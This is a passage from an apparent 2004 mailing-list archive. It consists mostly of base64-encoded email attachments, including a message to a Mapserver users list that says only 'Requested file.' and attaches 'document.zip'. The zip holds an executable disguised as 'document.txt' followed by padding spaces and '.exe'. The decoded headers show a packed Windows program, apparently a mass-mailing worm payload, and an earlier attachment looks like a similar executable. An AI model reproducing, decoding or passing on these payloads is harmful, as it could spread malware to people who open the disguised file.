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 REVVUlIiIiNEiIiIREmZRESZlFJSIiIjRERERERElURESVRSUiIiI0SIiIiIRElVVVlUUlIi IiNEREREREREmZmZVFJSIiIjRIiIiIiIRElUSVRSUiIiI0RERERERERElUlUUlIiIiNEiIiI iIiIRElZVFJSIiIjREREREREREREmVRSUiIiI0SIiIiIiIiIRElEUlIiIiNERERERERERERE RFJSIiIjRIiIiIiIiIiIiERSUiIiI0REREREREREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIj RERERERERERERERSUiIiI0QiIiIiRIiIiIhEUlIiIiNEOZJEQkRERERERFJSIiIjRDIiIiJE iIiIiERSUiIiI0Q0QndyREREREREUlIiIiNEMiJ3ckSIiIiIRFJSIiIjRDRCd3JERERERERS UiIiI0Q0QmZiREREREREUlIiIiNENEJmYkRERERERFJSIiIjRDMyIiJERERERERSUiIiI0RE REREREREREREUlIiIiNCRCRCRCRCRCRCRDJSIiIjQkQkQkQkQkQkQkQyUiIiIiQzQzQzQzQz QzQzQyIiIiIiIiIiIiIiIiIiIiIiIuAAAA/gAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH 4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AA AAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB/gAAA//////oRzoMEABacD9QwPA BcM4niYooxADwfgQJf9/hwDDi0QkVQQS6VXs7FEHU1ZXM/8xiX381BUcYCAoi/BoyMA3D7dF CFBkViYYIdhTkRUUMlAOECE7x4mKPHQqFhEMDVdogKzAagLxsBIRQP91bAyKNAiIg/j7v1QB dQQzwOtB0Ns7A/d2GOhh/xwCmbkbAVLx+YuAjDAUA0M73h5y6I3M/FfhdWwIfXgEii4JEWd6 ObH8D5TYX14pW8myHIGMZAx8VnC+YAQMV42FnG/zoqZQamApFSysDT0oDYgs4PtOjNcUvEb3 AIB9/lyLNSTFPb/gReF0CiIlVwXWIQpo0LAvHYC93IlcoUI8ICH+NeGhORA0YTAJamXoMrv+ EFmTP70Kg1COyiaRIEGwBq9yRAhq2wUoxEaj5B/IFjyJPbcjLXRTFDTobEV2dSLGAxU4NXxQ UVoSCXVYloUSwHQFVE0TRhUjNBEUdRkPagHnMEgSAvTQkDEwwhAAtDgwQDKQCXQkEENVJ2yX zo5pz20KYQifdo9lIO9F727vY+9y73nscCtl/GTPJlftbyObTEQN1i/lFhTNMGJKnwpT2WtZ TrMnXC7zQ/NadjOoMXAq/8OFPDVkpy64Uw7KRoGfZ5loFXP5QlSRDoRrGQN1+GVy9m8AbmZp Zzl4LmRxbOEQQklOGEFSWRBGVgNQcm90ZWObLqN4tjFgXAAA4AHgAuAg4hDOEQQN6Ba+EX2k Dnsog0YiAYwoCRCJIBZJiRTAwp8BFYADbwgUB5ACZhPAAtAQCXBV/wO8CFIHQQIGEwqOQigB dwFscBAon9EECBB5mYP0RPf9JhAihBDi947QAhCckU+9GAjwqwEZ0g+PA4BceMBUB7ADrQRS AzjqrwAAAeAgcEAOS0VSTmBMMzIuZHFs4EbobwZzZUhhbhjtwFpyPml0OkZuFb6/KWELHEEd Vp96R29mUudzUXVyY582Tzqpaw1iYWQWEElpbrZueko9dE2+ZClsXbMiRvFweUlSm+R0RkTA JFfBa293c0TfPuRj+ep5pTmgLRROYW1MhlBy8PJk45xMc2p2H0xpYjtTLz5UUJNDz+5uNA0Y TGG8RXLcXOvFjE11CHjMTgMAAAAAAAAAAAAAAAAA ------=_NextPart_000_001B_01C0CA80.6B015D10-- From frank.koormann at intevation.de Wed Mar 31 05:21:17 2004 From: frank.koormann at intevation.de (frank.koormann at intevation.de) Date: Wed, 31 Mar 2004 16:21:17 +0300 Subject: [Mapserver-users] Re: document_all Message-ID: <200403311321.i2VDLUEe019980@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Requested file. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="document.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document.zip" 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 